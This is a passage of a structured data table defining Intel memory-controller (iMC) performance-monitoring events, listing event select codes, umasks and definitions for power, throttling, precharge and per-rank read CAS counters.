"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"iMC.MAJOR_MODES.PARTIAL": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Defn": "Counts the total number of cycles spent in a major mode (selected by a filter) on the given channel. Major modea are channel-wide, and not a per-rank (or dimm or bank) mode.",
"Desc": "Cycles in a Major Mode",
"EvSel": 7,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"iMC.MAJOR_MODES.WRITE": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Defn": "Counts the total number of cycles spent in a major mode (selected by a filter) on the given channel. Major modea are channel-wide, and not a per-rank (or dimm or bank) mode.",
"Desc": "Cycles in a Major Mode",
"EvSel": 7,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.MAJOR_MODES.READ": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Defn": "Counts the total number of cycles spent in a major mode (selected by a filter) on the given channel. Major modea are channel-wide, and not a per-rank (or dimm or bank) mode.",
"Desc": "Cycles in a Major Mode",
"EvSel": 7,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.POWER_CHANNEL_DLLOFF": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles when all the ranks in the channel are in CKE Slow (DLLOFF) mode.",
"Desc": "Channel DLLOFF Cycles",
"EvSel": 132,
"ExtSel": "",
"Notes": "IBT = Input Buffer Termination = Off",
},
"iMC.POWER_CHANNEL_PPD": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles when all the ranks in the channel are in PPD mode. If IBT=off is enabled, then this can be used to count those cycles. If it is not enabled, then this can count the number of cycles when that could have been taken advantage of.",
"Desc": "Channel PPD Cycles",
"EvSel": 133,
"ExtSel": "",
"MaxIncCyc": 4,
"Notes": "IBT = Input Buffer Termination = On. ALL Ranks must be populated in order to measure",
},
"iMC.POWER_CKE_CYCLES": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
},
"iMC.POWER_CKE_CYCLES.RANK0": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
"Umask": "b00000001",
},
"iMC.POWER_CKE_CYCLES.RANK6": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
"Umask": "b01000000",
},
"iMC.POWER_CKE_CYCLES.RANK5": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
"Umask": "b00100000",
},
"iMC.POWER_CKE_CYCLES.RANK2": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
"Umask": "b00000100",
},
"iMC.POWER_CKE_CYCLES.RANK3": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
"Umask": "b00001000",
},
"iMC.POWER_CKE_CYCLES.RANK4": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
"Umask": "b00010000",
},
"iMC.POWER_CKE_CYCLES.RANK1": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
"Umask": "b00000010",
},
"iMC.POWER_CKE_CYCLES.RANK7": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Number of cycles spent in CKE ON mode. The filter allows you to select a rank to monitor. If multiple ranks are in CKE ON mode at one time, the counter will ONLY increment by one rather than doing accumulation. Multiple counters will need to be used to track multiple ranks simultaneously. There is no distinction between the different CKE modes (APD, PPDS, PPDF). This can be determined based on the system programming. These events should commonly be used with Invert to get the number of cycles in power saving mode. Edge Detect is also useful here. Make sure that you do NOT use Invert with Edge Detect (this just confuses the system and is not necessary).",
"Desc": "CKE_ON_CYCLES by Rank",
"EvSel": 131,
"ExtSel": "",
"MaxIncCyc": 16,
"Umask": "b10000000",
},
"iMC.POWER_CRITICAL_THROTTLE_CYCLES": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the iMC is in critical thermal throttling. When this happens, all traffic is blocked. This should be rare unless something bad is going on in the platform. There is no filtering by rank for this event.",
"Desc": "Critical Throttle Cycles",
"EvSel": 134,
"ExtSel": "",
},
"iMC.POWER_PCU_THROTTLING": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"EvSel": 66,
"ExtSel": "",
},
"iMC.POWER_SELF_REFRESH": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the iMC is in self-refresh and the iMC still has a clock. This happens in some package C-states. For example, the PCU may ask the iMC to enter self-refresh even though some of the cores are still processing. One use of this is for Monroe technology. Self-refresh is required during package C3 and C6, but there is no clock in the iMC at this time, so it is not possible to count these cases.",
"Desc": "Clock-Enabled Self-Refresh",
"EvSel": 67,
"ExtSel": "",
},
"iMC.POWER_THROTTLE_CYCLES": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
},
"iMC.POWER_THROTTLE_CYCLES.RANK7": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"iMC.POWER_THROTTLE_CYCLES.RANK1": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.POWER_THROTTLE_CYCLES.RANK4": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"iMC.POWER_THROTTLE_CYCLES.RANK3": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"iMC.POWER_THROTTLE_CYCLES.RANK6": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"iMC.POWER_THROTTLE_CYCLES.RANK2": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"iMC.POWER_THROTTLE_CYCLES.RANK5": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"iMC.POWER_THROTTLE_CYCLES.RANK0": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles while the iMC is being throttled by either thermal constraints or by the PCU throttling. It is not possible to distinguish between the two. This can be filtered by rank. If multiple ranks are selected and are being throttled at the same time, the counter will only increment by 1.",
"Desc": "Throttle Cycles for Rank 0",
"EvSel": 65,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.PREEMPTION": {
"Box": "iMC",
"Category": "iMC PREEMPTION Events",
"Counters": "0-3",
"Defn": "Counts the number of times a read in the iMC preempts another read or write. Generally reads to an open page are issued ahead of requests to closed pages. This improves the page hit rate of the system. However, high priority requests can cause pages of active requests to be closed in order to get them out. This will reduce the latency of the high-priority request at the expense of lower bandwidth and increased overall average latency.",
"Desc": "Read Preemption Count",
"EvSel": 8,
"ExtSel": "",
},
"iMC.PREEMPTION.RD_PREEMPT_WR": {
"Box": "iMC",
"Category": "iMC PREEMPTION Events",
"Counters": "0-3",
"Defn": "Counts the number of times a read in the iMC preempts another read or write. Generally reads to an open page are issued ahead of requests to closed pages. This improves the page hit rate of the system. However, high priority requests can cause pages of active requests to be closed in order to get them out. This will reduce the latency of the high-priority request at the expense of lower bandwidth and increased overall average latency.",
"Desc": "Read Preemption Count",
"EvSel": 8,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.PREEMPTION.RD_PREEMPT_RD": {
"Box": "iMC",
"Category": "iMC PREEMPTION Events",
"Counters": "0-3",
"Defn": "Counts the number of times a read in the iMC preempts another read or write. Generally reads to an open page are issued ahead of requests to closed pages. This improves the page hit rate of the system. However, high priority requests can cause pages of active requests to be closed in order to get them out. This will reduce the latency of the high-priority request at the expense of lower bandwidth and increased overall average latency.",
"Desc": "Read Preemption Count",
"EvSel": 8,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.PRE_COUNT": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Precharge commands sent on this channel.",
"Desc": "DRAM Precharge commands.",
"EvSel": 2,
"ExtSel": "",
},
"iMC.PRE_COUNT.BYP": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Precharge commands sent on this channel.",
"Desc": "DRAM Precharge commands.",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"iMC.PRE_COUNT.PAGE_MISS": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Precharge commands sent on this channel.",
"Desc": "DRAM Precharge commands.",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.PRE_COUNT.RD": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Precharge commands sent on this channel.",
"Desc": "DRAM Precharge commands.",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"iMC.PRE_COUNT.PAGE_CLOSE": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Precharge commands sent on this channel.",
"Desc": "DRAM Precharge commands.",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.PRE_COUNT.WR": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Precharge commands sent on this channel.",
"Desc": "DRAM Precharge commands.",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"iMC.RD_CAS_PRIO": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"EvSel": 160,
"ExtSel": "",
},
"iMC.RD_CAS_PRIO.HIGH": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"EvSel": 160,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"iMC.RD_CAS_PRIO.PANIC": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"EvSel": 160,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"iMC.RD_CAS_PRIO.MED": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"EvSel": 160,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.RD_CAS_PRIO.LOW": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"EvSel": 160,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.RD_CAS_RANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
},
"iMC.RD_CAS_RANK0.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.RD_CAS_RANK0.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.RD_CAS_RANK0.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.RD_CAS_RANK0.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.RD_CAS_RANK0.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.RD_CAS_RANK0.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.RD_CAS_RANK0.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.RD_CAS_RANK0.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.RD_CAS_RANK0.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.RD_CAS_RANK0.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.RD_CAS_RANK0.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.RD_CAS_RANK0.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.RD_CAS_RANK0.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.RD_CAS_RANK0.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.RD_CAS_RANK0.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.RD_CAS_RANK0.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.RD_CAS_RANK0.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.RD_CAS_RANK0.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.RD_CAS_RANK0.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.RD_CAS_RANK0.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.RD_CAS_RANK0.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 0",
"EvSel": 176,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.RD_CAS_RANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
},
"iMC.RD_CAS_RANK1.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.RD_CAS_RANK1.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.RD_CAS_RANK1.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.RD_CAS_RANK1.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.RD_CAS_RANK1.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.RD_CAS_RANK1.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.RD_CAS_RANK1.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.RD_CAS_RANK1.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.RD_CAS_RANK1.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.RD_CAS_RANK1.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.RD_CAS_RANK1.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.RD_CAS_RANK1.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.RD_CAS_RANK1.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.RD_CAS_RANK1.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.RD_CAS_RANK1.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.RD_CAS_RANK1.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.RD_CAS_RANK1.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.RD_CAS_RANK1.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.RD_CAS_RANK1.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.RD_CAS_RANK1.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.RD_CAS_RANK1.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 1",
"EvSel": 177,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.RD_CAS_RANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 2",
"EvSel": 178,
"ExtSel": "",
},
"iMC.RD_CAS_RANK2.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 2",
"EvSel": 178,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.RD_CAS_RANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
},
"iMC.RD_CAS_RANK4.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.RD_CAS_RANK4.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.RD_CAS_RANK4.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.RD_CAS_RANK4.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.RD_CAS_RANK4.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.RD_CAS_RANK4.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.RD_CAS_RANK4.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "RD_CAS Access to Rank 4",
"EvSel": 180,
"ExtSel": "",
